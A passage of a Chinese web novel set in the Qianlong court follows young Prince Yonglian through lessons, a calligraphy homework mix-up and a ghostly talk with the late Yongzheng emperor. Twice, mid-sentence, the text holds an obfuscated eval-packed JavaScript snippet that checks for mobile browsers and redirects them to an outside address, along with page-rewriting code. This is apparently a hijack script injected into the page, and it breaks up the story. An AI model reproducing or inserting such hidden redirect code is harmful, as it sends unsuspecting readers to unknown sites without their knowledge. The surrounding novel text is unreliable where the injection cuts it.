数学课快结束时,允禄念了几道题目让他们记下当功课。都是应用题,有的算人数、有的算银钱,还有一道是算上驷院的马匹,只用到二十以内的加减乘除。 数学课结束后,明瑞忍不住和永琏说:“不光文官要用数学,武将更是离不开数学,否则将领连自己有多少士兵都算不清,总不能一个一个数。” 不愧是名将,这就从数学联想到打仗了。 “对呀,所以我才专门跟汗阿玛提出要学数学。”永琏道。 二人一边说着一边整理桌上的小木棍。 刚整理好,养心殿那边就派人来,叫两位小阿哥过去用晚膳。 永璜猜到汗阿玛是要问数学课上的事儿,路上有些忐忑,“二弟,刚才咱们上课讨论,汗阿玛是不是不太高兴?” 永琏道:“汗阿玛刚进门时确实脸色臭臭的,但后来就好了。应该没事儿。”他可不想上课第一天就痛失十六叔公这样好的老师,刚才见汗阿玛有怪罪十六叔公的意思,他赶紧出来转移注意力。 但这件事肯定不会这么容易结束,汗阿玛少不得要唠叨几句。 让永琏意外的是,乾隆没有唠叨他们刚才的上课方式,而是关心他们有没有听懂。 永璜、永琏都表示听懂了,永琏还把刚才那道二十分六份的题目给汗阿玛讲了一遍。 乾隆见小家伙思路很清晰,就满意点点头。 “听懂就好。不管用什么法子,能学明白就行。”乾隆道。 永琏忍不住睁圆眼睛,汗阿玛什么时候这么开明了? 乾隆本是不赞同这种教学方式的,尚书房是多么严肃的地方,哪有阿哥爷和伴读凑在一起边说边学的? 但刚刚允禄来了,笑呵呵把四个学生夸了一遍。 “对数学感兴趣的小孩不多,大家更是意识不到这门学问的重要性。难得二阿哥对这门学问感兴趣,想必得益于皇上平日的教导。” 乾隆心虚默认。 “臣想着二阿哥主动做了教具,一是想自己学着方便,二来估计也是希望培养大阿哥以及两个伴读的兴趣。”允禄道:“难得这孩子小小年纪思虑如此周全。” 乾隆想到永琏做这些教具的初衷,就是想教钮伦。 “永琏这孩子向来如此,总是想着旁人。有喜欢的就要和周围人分享。” “既如此,不能辜负了二阿哥的苦心。”允禄道:“臣便想法子让其他三个孩子也对数学产生兴趣,大家齐头并进,二阿哥学起来也更有劲头。” 乾隆想了想,还真是这么个道理,如果其他仨小孩都不喜欢数学,只是应付差事,只有永琏一个人感兴趣,他也很难学好。 而且小家伙也明显表现出,希望小伙伴们跟他一起学的心愿。 乾隆于是缓和了神色,颔首道:“十六叔说的是。您不拘用什么法子,让几个孩子学进去就好。” —— 做好了被批评的准备,却发现汗阿玛和颜悦色。兄弟俩都有些惊喜,用晚膳时,连永璜都殷勤地给汗阿玛盛汤。 永琏更是趁机撒娇,要在次间睡午觉。 养心殿午休能蹭一次是一次,前两天他用完晚膳都只能在桌上趴会儿。 乾隆捏住儿子小胖脸,“上回朕怎么说的?” 永琏:“唔……可我好困,待会儿学骑射没精神怎么办?骑射很重要的,谙达也教的很认真,儿子不想在学骑射的时候走神。” 乾隆:“……” 他在儿子后脑勺上拍了下,“去吧去吧,别回头骑射学不好赖朕不让你们睡午觉。” 他说着看永璜,“你也去。” 永璜答应着,赶紧跟上弟弟。 乾隆叫李玉进来给两位小阿哥拿床被子,把门关上。 李玉服侍俩小主子歇下,退到外间,“二阿哥是真困了,奴才关个窗的工夫,他就睡着了。” 乾隆一脸嫌弃,“哪儿来这么多觉,朕这么多年来,从未有午睡的习惯。” 李玉心说您不但不午睡,晚上该睡觉的时候还经常失眠呢。 乾隆也知道,像自己这样睡两三个时辰,精神奕奕一整天的人不多。以前五弟下午趴桌上练字都能睡着,未干的墨蹭得满脸都是。 可永璜像五弟就算了,永琏以后是要继承大统的。他得像自己,像汗阿玛,像皇玛法一样,精力旺盛。 思及此,乾隆起身进了次间,打算把永琏揪起来读书。 可进屋瞧见兄弟俩头挨着头睡得香甜,永琏睡相不太好,占了大半张床,永璜被挤到床边边。 乾隆鬼使神差默默退到外间,要不给尚书房收拾一个供皇子们休息的房间吧。 总挤在养心殿算怎么回事? 乾隆正琢磨,就听见次间里永璜“哎呦”一声,接着又“咚”的一声。 乾隆赶紧进屋,就间永璜捂着屁股从地上爬起来。 永琏也醒了,揉着眼睛坐起来。 永璜难得露出几分委屈,看向乾隆:“二弟踹了我一脚,我就掉下床了。” 乾隆:“……” 永琏:“不……不会吧?我睡觉很老实的。” “你得了吧。”乾隆这回向着大儿子,上前让永璜动一动,看看有没有摔到骨头。 还好永璜只是摔得尾椎骨有点疼,不影响活动。 永琏回过神,跳下床给大哥道歉,“对不住啊大哥,我给你揉揉。” 永璜在弟弟小脑袋上拍了下,“你睡觉一点都不老实,上回搂着我手臂,跟抱着柱子似的。” 永琏:“……”这一定是原身二阿哥的毛病,不是他永琏的问题。 俩小孩这下也睡不着了,洗把脸提前去了校场。 谁知额尔登额和明瑞正绕着校场跑步。 “你们跑步做什么?”永琏见二人都是一头汗,就知道他俩跑了不止一圈。 “额尔登额说,跑步可以强健体魄。”明瑞道:“我们就约定好,在骑射课前,绕着校场跑十圈。” 永璜:“真的吗?要不要问问谙达?”他说着看永琏,“如果谙达赞同,咱们以后也每天跑十圈吧 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明瑞和永璜都愣了一下,明瑞也赶紧跪下,他们确实应该先请示皇上。 永璜就替两个伴读打圆场,“今儿是头一回,这儿也没旁人,跑就跑了。二弟就别追究了吧?而且他们练习跑步也是为了能在战场上为朝廷效力,看在他们一片忠心的份上,就原谅他们好不好?” 永琏回神,“快起来快起来,我又没说不让你们跑。”他说着赶紧去扶两个小伙伴。 “只是我没有想到,你们小小年纪,就开始为日后上战场做准备。”永琏道。 “回阿哥爷,奴才从小便希望能效力军前,驰骋疆场。”额尔登额道,这不是在刻意表忠心,小少年真是这么想的。 “我也是,能为朝廷出生入死,是我满洲儿郎的荣幸。”明瑞也朗声道,小家伙眼睛亮亮的望着永琏。 永琏看着面前的两个少年,一时心情复杂。 “不,朝廷能有你们这样志存高远的臣子,是朝廷的幸运。”永琏默了片刻,正色道:“希望你们能始终记得今日的志向,满洲儿郎上战场不为争一时之功,而是为大清边疆稳固,为百姓安定富足,他日你们的英勇事迹留于史书之上,激励后世子孙……我想,那才是对你们最好的嘉奖。” 他这一番话说得额尔登额和明瑞更加热血沸腾,连永璜都想当大将军了。 俩小少年又跪回去,郑重道:“明瑞/额尔登额谨遵二阿哥教诲,不忘今日之志。” “哎哎哎,怎么又跪,快起来。”永琏哭笑不得,赶紧把二人拽起来。 刚才那番话是说给额尔登额听的,他发现自己实在做不到讨厌现在的额尔登额。 不如先试着改变他。 永琏转头瞧见不远处呆站着的策楞,“谙达什么时候来的?瞧我们,只顾说话,都没瞧见您。” 四个小少年立刻围上去,开始今天下午的骑射课。 骑射课结束后,策楞去了养心殿,将下午听到的对话一字不落告诉乾隆。 “……别说明瑞和额尔登额两个小孩子,就是奴才听了二阿哥那番话,也是热血沸腾。恨不得立刻带兵平了准噶尔!” 17.第十七章 策楞之前也在皇上跟前夸二阿哥,那是因为皇上喜欢二阿哥,他夸二阿哥,皇上高兴。 二阿哥在骑射课的表现平平,小家伙有些娇气,累了立刻就要休息。只要完成任务,绝不多练一下。 策楞还和家里几个弟弟私下讨论过,都说二阿哥像皇上,好动这点就不像,以二阿哥这努力程度,想练成皇上的骑射功夫,恐怕很难。 但今日,策楞是真心实意地夸二阿哥,也终于明白了皇上的想法。 “我早就说了,选太子,文学造诣、弓马骑射都不是最重要的。最重要的是用人的本事和开阔的胸怀。” 爱必达听了大哥讲了今日之事,也觉二阿哥不一般,小小年纪能说出这番话勉励伴读,定然是有大胸怀之人。”和几个擅长弓马骑射的兄长不同,他自幼喜欢读书。日后想走文官的路子。 “不说远的,就说圣祖爷那些儿子里,废太子和三爷不都能文能武?可结果怎么样?” 先帝的弓马骑射大家都不敢提,但人家还是当了皇帝。 策楞颔首,“正是这个道理,我回想了下,二阿哥年纪虽小,剩下三人却都听他的。” 一直没开口的讷亲终于忍不住翻了个白眼,“大哥没正事儿我就先走了,小孩子之间的事儿也值得拿来讨论。”他说着站起身,自顾自离开。 剩下四个兄弟:…… 阿敏尔图忍不住撇嘴,“就他忙。” “可不是忙吗?顾命大臣呢。”阿里衮道。 “哎哎哎,少说两句。你们兄长有本事,你们应该高兴。”策楞敲敲桌子。 钮祜禄家这几个兄弟里,讷亲最有出息,年纪轻轻入了军机处。皇上登基后,虽把军机处撤了,但讷亲和张廷玉、鄂尔泰一样,都是总理事务大臣。 明眼人都看得出来,皇上有意培养讷亲,让他接替鄂尔泰。 如今阿敏尔图、爱必达、阿里衮要么任侍卫,要么还在国子监读书。以后的前途少不得要倚仗讷亲。 连策楞这个当大哥的,能到御前做侍卫,也有讷亲的功劳。 不能一边依靠讷亲,一边嫉妒人家。策楞就教训几个弟弟,“对你们二哥尊重一些,别阴阳怪气的。” “是他先看不起我们,你看他刚才那态度,白眼翻到天上去了。”阿敏尔图道。 “他从小就那样,你们又不是没见识过。”策楞道:“行了行了,我今儿叫你们来确实也没什么正事儿,今日我一高兴就去跟皇上夸二阿哥,又顺口聊到了准噶尔。准噶尔始终是朝廷的心头大患,皇上想打,但近几年不会动兵。” “那什么时候打?我还等着立军功呢。”阿里衮问。 家里爵位给了讷亲,其他兄弟就要自己挣爵位,他不喜欢读书,就想带兵打仗。 “二阿哥的话你这就忘了?不可贪功!”爱必达笑看五弟。 阿里衮:“……” 策楞道:“咱们好好在皇上跟前当差,真要动兵,皇上肯定会想着咱们。” 钮祜禄家兄弟几人在讨论今日之事,阿哥所里,乾隆也正问永琏,“今儿那番话是从哪儿学来的?” “跟皇玛法和汗阿玛学的。”永琏道。 乾隆虽然不记得自己在儿子跟前讨论过打仗的事儿,但汗阿玛有没有说过,他就无从得知了。 “你倒是很会勉励人,”乾隆摸摸儿子脑袋,“连策楞都被你的话激励了。” 永琏:“……”原来是策楞谙达把这事儿告诉汗阿玛的。 乾隆:“但听说你不愿跟着他们一起跑步?” “他们要跑十圈,也太多了。”永琏皱皱鼻子。 “你大哥可是很想跟着跑呢。”乾隆刚才先去了永璜院子,那孩子难得提要求,想和两个伴读一起跑步,他日后也想到军中效力。 皇子上战场立军功倒很常见,圣祖征讨噶尔丹,几个年纪大点儿的儿子们都带上刷军功了。后来十四叔的抚远大将军更是威震青海。 永璜有这志向,乾隆很高兴。但为了上战场特地练习跑步就没必要了,军中少了谁的马,也不会少了皇子的马。 “大哥想用跑步来锻炼身体当然可以。”永琏道,历史上永璜年纪轻轻病逝,除了心情郁结外,肯定和他身体的抵抗力也有关系,锻炼身体很有必要。“但是不能太累,应当循序渐进。” 乾隆点头,“朕也这么和他说的,每天先跑三圈。跑太多都没力气上接下来的骑射。你呢,就先跑一圈,当热身。” 一圈很轻松,永琏立刻高高兴兴答应。 乾隆见永琏正练字,就走到书案前,“来,汗阿玛教你写字。” 永琏记得后世网友嘲笑乾隆字丑,尤其写在宋徽宗的字旁边,那简直……没有对比就没有伤害。 但乾隆的字再丑,也肯定比他这个刚学写毛笔字的小屁孩强。永琏就凑过去,看汗阿玛给他做示范。 乾隆小时候的字写得确实不太行,经过几年苦练,连汗阿玛都说他进步很快。 他一边写,一边给永琏讲自己练字的心得。不知不觉就写了大半张。 “行了,你就照着汗阿玛这样练,长此以往,字肯定好看。”乾隆放下笔,在儿子脑袋顶上揉了揉,就回养心殿去了。 永琏把剩下半张字写完,又自己写了一张。就已经到平日睡觉的时辰了。 睡眠超重要,永琏立刻洗漱躺下。 次日,陈德华拿着二阿哥的两张作业左看右看。 二阿哥和明瑞都是刚学写字,小孩的手对毛笔的控制不够,难免歪歪斜斜,但二阿哥今日的作业里,有一张出奇的工整。明显不是二阿哥写的。 这字体陈德华瞧着有点熟悉,但一时也没想起来。 汉文课结束后,他在尚书房门口遇上来教满文的阿桂,两位师父就闲聊两句。 说到四个学生完成功课的情况,陈德华拿出昨晚二阿哥那张超常发挥的练字功课,“这上面几行我瞧着不像是二阿哥写的,下面几行稍差一些,但也比二阿哥平日写的工整。” 阿桂一看那张作业,眼睛不由睁大,“这这这……这不是皇上御笔吗?” 陈德华:“……你一说,还真是,我说看着眼熟呢。二阿哥怎么把皇上的字交上来了?不对不对,这就是我昨天布置的功课,皇上竟然帮二阿哥写功课?” 阿桂忙给陈德华使眼色,“陈兄小声点儿。” “这张功课我都不好写批语了。”陈德华皱眉 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乾隆前天亲手教儿子写字,就想看看这几日小家伙的功课有没有进步,这日晚膳前,就溜达到尚书房,要检查四个小孩这几日的功课。 大家就乖乖把自己这几日练得字拿出来,乾隆先从永璜看起,这孩子的字进步很快,端正俊秀。额尔登额的字稍微差了点儿,还需练习。小明瑞是初学写字,要求不能太高,永琏……这字也太好了吧,等等……这不是自己那天做的示范吗? 永琏发现汗阿玛看着那页字,半晌不说话,突然想起来,暗叫一声不妙。 “永!!!琏!!!” —— “二阿哥罚抄五十遍《学而篇》,《学而篇》好多字呀。” 晚上,小明瑞回到家就愁眉苦脸,傅恒问他怎么了,他就告诉小叔。 “我真想帮二阿哥写两遍,可二阿哥不让我刚忙。” 对大人来说,五十遍《学而篇》不算多,但对于一个刚学写字没多久的小孩而言,写一遍就要花好长时间,有的字估计都不认识,只能照猫画虎。五十遍,那不知要写到什么时候去。 “是师父罚抄的?”傅恒疑惑,二阿哥在尚书房表现不是一直很好吗? “是皇上,皇上今日来尚书房检查功课。”明瑞皱着小眉头,“说起这个就更奇怪了,我还以为二阿哥的功课做的不好皇上才罚抄,但我看了二阿哥写的字,很好看啊!师父还在批语里夸二阿哥呢。” 傅恒:“???” 这个疑惑在傅恒心里装了好几天,直到他进宫给姐姐请安,才得到答案。 皇后哭笑不得,“……要我说,永琏就是没想那么多,只想着写两张字,写完就完事了。不算故意偷懒。” 傅恒:“是啊,小小惩戒一下也就是了,五十遍实在太多。” “二哥到现在还没写完五十遍呢。”旁边小钮伦忍不住道。 傅恒一愣,这都过去四五天了。 皇后笑道:“永琏说了,睡不好会耽误白天听课,只在课间休息时见缝插针的写罚抄,晚上还是按时按点休息。到现在连一半都没写完。” 傅恒:“……还能这样?” 18.第十八章 傅恒只当二阿哥仗着皇上的宠爱,才有恃无恐。 其实永琏可没这胆子,他敢拖着慢慢写,当然是经过汗阿玛默认的。 汗阿玛宣布罚抄的时候,太生气了,永琏就没在那时候解释,乖乖承认错误,接受惩罚。 等估摸着汗阿玛气消了,他才抱着汗阿玛胳膊解释,“儿子那天晚上就是照着汗阿玛的示范写了几行,自己瞧着有进步,就想交上去给师父看,没考虑太多。” 乾隆那天说完罚抄五十遍也有点后悔,这对刚学写字不久的永琏来说太难了。 但话说出口,又不能反悔。而且也该好好让这小子长点教训,以后再不敢偷懒。 乾隆还特地叮嘱陈福,若二阿哥熬夜抄写,就劝两句。 谁知这小子头一天晚上还是按点睡的,乾隆正不高兴,感觉儿子不把自己的话当回事,第二天听说小家伙用完晚膳就开始写罚抄,一刻都没休息又急急忙忙去学骑射。 乾隆知道这小子的毛病,吃饱了容易犯困,他又忍不住担心影响下午的骑射课。 晚上回到长春宫,儿子专门等着他,就为了认错。乾隆心就软了,推推小家伙靠过来的脑袋,“那也该和师父说清楚,上半页不是你写的。” “我忘了,但是汗阿玛的字那么好看,陈师父肯定能认出来。”永琏仰着小脸道。 想到陈德华对自己那几行字的夸奖,乾隆心中又高兴了一点儿。 “您别生我气了,我只是脑袋不太好用,不是故意偷懒的坏小孩。”永琏道。 对上儿子委屈巴巴小狗眼,乾隆哪儿还气得起来。 永琏见汗阿玛眼里有了笑意,就松开汗阿玛手臂,“我要赶紧回去写罚抄了,还有满文作业也没做。” 乾隆:“满文功课要紧,不可耽误了。” 永琏“嗯嗯”答应着,有了这句话,他才敢慢慢写。 乾隆头几天还问问进度,后来也不管了,反正看儿子其他功课,都写的越来越工整,这五十遍罚抄就当练字。 九月中旬,乾隆去雍和宫祭奠,又带上了永璜、永琏。 弘昼见俩小侄子,就笑道:“托汗阿玛的福,你俩多休息一天。” 乾隆忍不住给了弟弟一个肘击,“你说得这是什么话?” 弘昼赶紧作揖,“开个玩笑嘛,皇兄勿怪。” 永璜、永琏都憋笑。 几人正说话,弘曕到了。 大概是身边奴才教过,这回小家伙表现的很有礼貌,恭恭敬敬和两位皇兄行了礼。 到了先帝梓宫前,他也知道跪下磕头叫“汗阿玛”了。 “弘曕啊,汗阿玛不能看着你长大咯。”雍正死后放不下的事儿很多,弘曕这个小儿子比起朝廷的事儿,没那么重要。但上回交代完朝廷的事儿,雍正还是难免想起弘曕,弘历不会委屈了幼弟,但指望他多费心教导,恐怕也不大可能。 等永琏到梓宫前磕头时,雍正就说:“永琏啊,以后要多督促你六叔上进。” “皇玛法放心。”永琏道。 他突然说这么一句,显得有点奇怪,旁边跪着的永璜都疑惑地看了过来。 永琏就补了一句,“我们会好好读书的。” 乾隆听儿子这么说,就猜测汗阿玛是关心孙儿的学习进度。 双轮车的事儿他上回来祭拜已经和汗阿玛说了,虽然听不到汗阿玛的回应,但他老人家肯定又欣慰又感动,同时也会觉得自己眼光好,选了永琏这般知孝悌的好孩子做太子。 于是等众人行完礼,乾隆就让其他人先离开,自己和永琏留下陪汗阿玛说话。 永琏还以为汗阿玛和皇玛法之间又要说朝廷大事,让自己当传声筒。不料汗阿玛把他拽到梓宫前,拍着他的肩膀,对梓宫方向道:“汗阿玛,永琏上个月正式入尚书房,表现尚可。” 他说着看永琏,“你和皇玛法说说,《论语》学到哪儿了?” 永琏:“……” 这事儿也要汇报吗?皇玛法都驾崩了,还要操心自己的功课? 但他还是乖乖道:“皇玛法,孙儿昨日学到‘父在,观其志。父没,观其行;三年无改于父之道,可谓孝。’” 乾隆:“……” 雍正:“……” 永琏隐约听到皇玛法笑了一声,才慢半拍反应过来。 哎呀!某个心思敏感的阿玛千万不要对号入座呀! 这叫乾隆如何不对号入座,他简直怀疑这句是汗阿玛教永琏的。 雍正憋笑提醒小孙孙,“永琏,不要说话,听你阿玛说。” 永琏:…… 他偷偷瞄一眼身边的阿玛,只见他纠结地皱了皱眉,然后双膝一弯跪到了蒲团上。 “汗阿玛,儿臣是有苦衷的啊!您相信儿臣,撤销军机处只是暂时的,官绅一体当差纳粮也会恢复的,只是时间问题。” 后悔,早知道不留下和汗阿玛说话了。 还有永琏这小子,到底知不知道这句话什么意思啊? ……就算知道这句话的意思,小家伙也不知道朝中的事儿。 乾隆更心虚了,“汗阿玛,您放心,儿臣回去就恢复军机处。十年……二十年内,儿子一定将官绅一体当差纳粮推广到全国。” 军机处他本来就想恢复,这个承诺倒不难。官绅一体当差纳粮那就真是咬牙承诺了。 这事儿可不好办,光在河南一个省推行都闹得天翻地覆。要想全国推行,不知要有多少士绅闹事。 他本来想说十年的,又不敢拿朝廷稳固开玩笑。还是二十年吧。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15530684|170094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>雍正也没想到儿子情急之下给了这样的承诺,愣了片刻后不由哈哈大笑,“好好好,二十年后朕在泰陵等你向朕汇报。” 永琏就帮皇玛法传话。 乾隆:“……” 汗阿玛的魂魄二十年后还在啊? 乾隆瞬间觉得压力好大,不过他也很清楚官绅一体当差纳粮是利国利民的好政策。 雍正的魂魄瞧见儿子的表情,就忍不住笑,“永琏啊,你可真是朕的宝贝孙孙。” 永琏:“……”您该感谢陈德华师父,这进度卡的刚刚好。 上回雍正该交代的都交代了,他也知道插手太多,儿子会不满。今日实属意外收获,他没敢要求别的。而是换了话题,问永琏:“那个双轮车是你设计的吗?为什么要打着皇玛法的旗号呀?” 永琏:“……”还有这事儿呢,差点忘了。 他无辜的眨眨眼睛,“永琏想让汗阿玛高兴。” 乾隆扭头,“永琏,你皇玛法又说什么了?” 永琏:“皇玛法问我双轮车的事。” 仗着汗阿玛和皇玛法不能交流,小家伙就含糊道。 乾隆松口气,终于不提朝政了。他扯了扯嘴角,“是啊,汗阿玛,永琏是个孝顺孩子。只是这双轮车制造起来有难度,造办处那边正想办法呢。” 雍正当然知道这车难造,他没看到图纸,光听乾隆描述,就觉得这车不是手摇风扇那种简单的机械。 这样复杂的结构,自家六岁的小孙孙是如何琢磨出来的? 雍正看着永琏身上那与常人不太一样的魂魄,隐约明白了点什么。 “永琏啊,你汗阿玛虽然偶有不听话的时候,但他很疼你,你要好好孝敬他,也要好好劝谏他。有什么不好开口的,就像这回一样,打着皇玛法的旗号。” 永琏:!!! 小家伙心虚地眼珠子乱转,皇玛法发现什么了吗? “不怕,朕知道你是好孩子。”雍正语气温和,这就是他的小孙孙,只是轮回去了别的世界,又回来了。 “呜呜……可我……”永琏一听皇玛法这样温柔的哄他,又心虚又难过,不由哽咽起来。 “好了好了,让你汗阿玛听见他要起疑。”雍正打断永琏的话,“有什么麻烦,就到泰陵找皇玛法,对了,也可以去景陵找你乌库玛法,他虽然不认识你,但也会帮你的。” 永琏:!!! “什么?我也能和乌库玛法的魂魄交流吗?”永琏太震惊,直接就问了出来。 乾隆也猛地转头,对啊! 以前是他思路窄了! 儿子莫非能和爱新觉罗家的列祖列宗对话? 还……还是不要了,有汗阿玛一个人盯着他就算了,列祖列宗都来插手,他可受不了。 19.第十九章 雍正见儿子的表情,就知道他并不希望永琏有这样的机缘。 反正儿子听不见自己说话,雍正就给永琏解释,“傻孩子,能不能听到是你说了算,你汗阿玛又不知道。” 永琏:“……??” 什……什么意思啊?小家伙懵了。 “你汗阿玛最崇拜你乌库玛法,朕说话不管用的时候,就要抬出你乌库玛法。”雍正道。 永琏已经震惊的说不出话了,小嘴微微张着。 “永琏,你皇玛法又说什么了?”乾隆见儿子神情空白,就好奇地问。 雍正也有些紧张,生怕孩子太老实,把自己教他这些直接说出来。 永琏:“皇玛法说,他不确定我能否和乌库玛法的魂魄对话。” 乾隆松口气,朝梓宫方向道:“汗阿玛,平日不好带永琏去打扰圣祖玛法,等圣祖玛法祭日,儿臣再带永琏去祭拜他老人家吧,不管孩子是否有这样的机缘,儿臣都会带他去祭拜圣祖玛法的。” 他选的小太子,当然也要让皇玛法看看。 如果能和皇玛法说话就更好了,虽然不希望皇玛法插手朝堂上的事儿,但他想让皇玛法知道,自己登基这一年来勤勉宽仁,干的不错。 到时候大不了别提朝政,只给皇玛法展示下自己的诗书文章。他老人家也一定十分欣慰。 雍正太了解儿子那点小心思了,就说:“好,但不可让旁人知道永琏有此等机缘。” 永琏传话,“皇玛法说,不能让别人知道我可以和魂魄对话。” 乾隆在儿子小脑袋上按了按,对梓宫方向保证,“这点您放心,儿臣一定会保护好永琏。” “永琏啊,你汗阿玛疼你,你小的时候可以用这招,等你过了十五岁……十二岁,十二岁以后就尽量不要用了。”雍正叮嘱永琏。 永琏一怔,他没问为什么。 现在汗阿玛不防着自己,是因为自己年纪小,不会撒谎。但等自己长大有了自己的主意,汗阿玛一定会怀疑自己利用这种机缘,插手朝政。 他忍不住打了个寒战,眼睛红红的点了点头。“我听汗阿玛的话。” 雍正见小孙孙还挺聪明,稍稍松口气,知道自保就好。这机缘用好了利国利民,用不好了那就是杀身之祸。 他能看出,小孙孙上一世的寿数也只有十几岁。估计都没到成婚的年纪。 而在前前世,更是只活到八岁,就因为一场风寒早夭了。 弘历和富察氏那般喜爱这孩子,他早夭后,二人不知如何伤心难过。 小孙孙既然得上天眷顾又回来了,就证明他和爱新觉罗家的缘分未尽。 雍正要嘱咐的千言万语,最后只剩下一句,“永琏啊!你要记着皇玛法的话,没什么比你健康长大更重要。要好好吃饭,注意休息。” 健康长大也是永琏的执念,他闻言忍不住哭起来,揉着眼睛道:“皇玛法放心,我一定好好吃饭,长的壮壮的!” 乾隆还在那琢磨要和圣祖爷说什么,听儿子突然哭起来。 “永琏不哭,你皇玛法又说什么了?”乾隆好奇,怎么话题突然就跳到好好吃饭上了? 永琏扑进汗阿玛怀里,把眼泪鼻涕都蹭汗阿玛衣服上,“皇玛法说,永琏一定要健康长大,长得壮壮的。” 嘶……好端端的,汗阿玛为何交代这个? 难道汗阿玛看出永琏身体有什么问题了吗? 乾隆想到汗阿玛给别人看八字面相,十次有八次都看的不准,这种事不能信汗阿玛。 或许老人家只是随口嘱咐孙儿罢了。 “汗阿玛您放心,儿臣和富察氏会照顾好永琏的,这孩子自己也很会照顾自己,每天按时按点睡觉,绝不会让自己累着。吃饭也不挑食,你看他脸上的肉,哪儿像不好好吃饭的……” 永琏:“……” 永琏顿时哭不出来了,气鼓鼓的瞪坏阿玛。 “瞪朕做什么?不是你自己说要长得壮壮的?”乾隆笑着捏捏儿子脸颊,又朝梓宫方向告状,“汗阿玛您瞧,这孩子一点都不怕朕。” 永琏也告状,“皇玛法,汗阿玛不让我吃鸡腿。” 永字辈的一年孝期已过,可以吃肉了。永琏早膳、晚膳要吃鸡鸭鱼外,骑射课结束后回到长春宫给皇后请安,还想来顿加餐。 那天正好乾隆在,怕他吃太多肉积食,不让他吃,愣是让他喝鸡汤,灌了个水饱。 乾隆深吸口气,在儿子脑袋上敲了下,“早上一顿羊肉锅子,晚膳香酥鸭,傍晚还想吃鸡腿,你问你皇玛法,能这么吃吗?” 雍正刚想训儿子,不能让孩子饿着,听儿子说,小家伙早膳晚膳都吃挺好。 “哎呀,永琏,那晚上是不能再吃鸡腿啦,吃点清淡的,睡觉舒服。” 永琏对着皇玛法还是很乖的,点点小脑袋,“永琏记住了。” “你皇玛法说你了吧。”乾隆瞥儿子一眼。 永琏又去搂汗阿玛手臂,甜甜道:“我向汗阿玛学习,每顿只吃八分饱。” 他汗阿玛可是能活八十九的长寿老人,跟他学养生肯定没错。 乾隆揉揉儿子脑袋,“这才乖。” “好了好了,跟你汗阿玛说,赶紧回去吧,天凉了,在外面呆久了当心受寒。”雍正道。 虽然很不舍儿子和小孙孙,但让二人陪着自己一个死人聊天,不是耽误工夫吗? 乾隆就带着儿子再次和雍正梓宫行礼,离开雍和宫。 乾隆拉着儿子小手,“走,咱们去找你大哥他们。” 永琏一愣,“大哥不在宫里吗?” “你五叔肯定带你大哥和你六叔去他家玩儿了。”乾隆道:“不信问策楞谙达。” 今日当值的御前侍卫之一正是策楞,他见二阿哥看过来,就笑答道:“皇上料事如神,和亲王的确带着大阿哥、弘曕阿哥往和亲王府的方向去了。” “我也要去!我也要去!”永琏兴奋。 乾隆直接抱着儿子上了自己马车,“摆驾和亲王府。” 弘昼的长子早夭,二儿子永壁今年三岁,跟弘曕正好能玩到一起。 永璜就带着俩小豆丁玩儿,虽然他们玩的游戏自己都不喜欢了。但看两个奶团子跑来跑去,还是挺有意思。 可惜二弟又要陪汗阿玛,不能和自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15538665|170094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一起来玩儿。 五叔家还有个小堂妹,今年才两岁,也想和他们一起玩儿,但弘曕和永壁都不想带她。 小女娃又哭着被五婶抱走了。 乾隆和永琏来时,弘昼和吴扎库氏正哄宝贝女儿。 听说皇上和二阿哥来了,夫妻二人就抱着女儿赶去迎接。 乾隆之前经常来和亲王府做客,还带原身二阿哥来过。 永琏见了五婶倒不觉得陌生,对她手里的小堂妹也有一点印象,上回见,小娃娃才八九个月,在榻上爬来爬去。 乾隆一见小女娃就变夹子音,眼睛也笑眯成两条缝,“我们小格格见了四伯怎么不高兴呀?” “哥哥……不和我玩!”小格格奶声奶气告状。 “谁呀谁呀?哪个哥哥这么坏?”乾隆说着抱过小侄女。 弘昼就跟皇兄解释,“……那几个小子到处跑,臣弟也怕她跟着危险。” 乾隆:“就是,不跟他们玩儿。”他捏捏小女娃头顶的小揪揪,“四伯和你玩儿,还有你二堂哥。” 永琏就朝汗阿玛手里的小堂妹扬起一个笑脸。“我陪你玩儿。” 小格格眨眨眼睛,也朝小堂哥露出一个笑。 历史上乾隆有个养女,就是和亲王的女儿。封和硕和婉公主,后来嫁给巴林部郡王的儿子。 面前的小格格,应该就是这位和婉公主了。 乾隆抚养小侄女的时候,大概也不知道,和亲王这辈子就这么一个长大成人的女儿。 永琏有些纠结,要不要阻止汗阿玛把小堂妹接进宫抚养呢? 几人一边说话一边进了二门,永璜、弘曕和永壁也赶来迎接圣驾。 行过礼,永璜就跑到永琏身边,要和弟弟一起走。弘曕也凑过来,“小侄子,你什么时候去圆明园玩儿?” “这个要问汗阿玛。”永琏道。 弘曕看一眼四哥,不太敢上前问。 永琏就跑去拉汗阿玛衣袖,“汗阿玛,六叔邀请我们去圆明园玩儿。” “圆明园又不是他的,他倒会做主。”乾隆笑道:“等朕得空带你们去。”他说着把小格格放到地上,让永琏带她去玩儿。 吴扎库氏让人在花园凉亭里摆了茶果,大人们坐在亭中说话喝茶,几个小孩就在周围跑来跑去。 因为宫里有个小钮伦,永璜、永琏都很会照顾妹妹,大家跑着玩儿的时候,永璜、永琏就护着小格格,玩玩具时,他们也让小格格先玩儿。 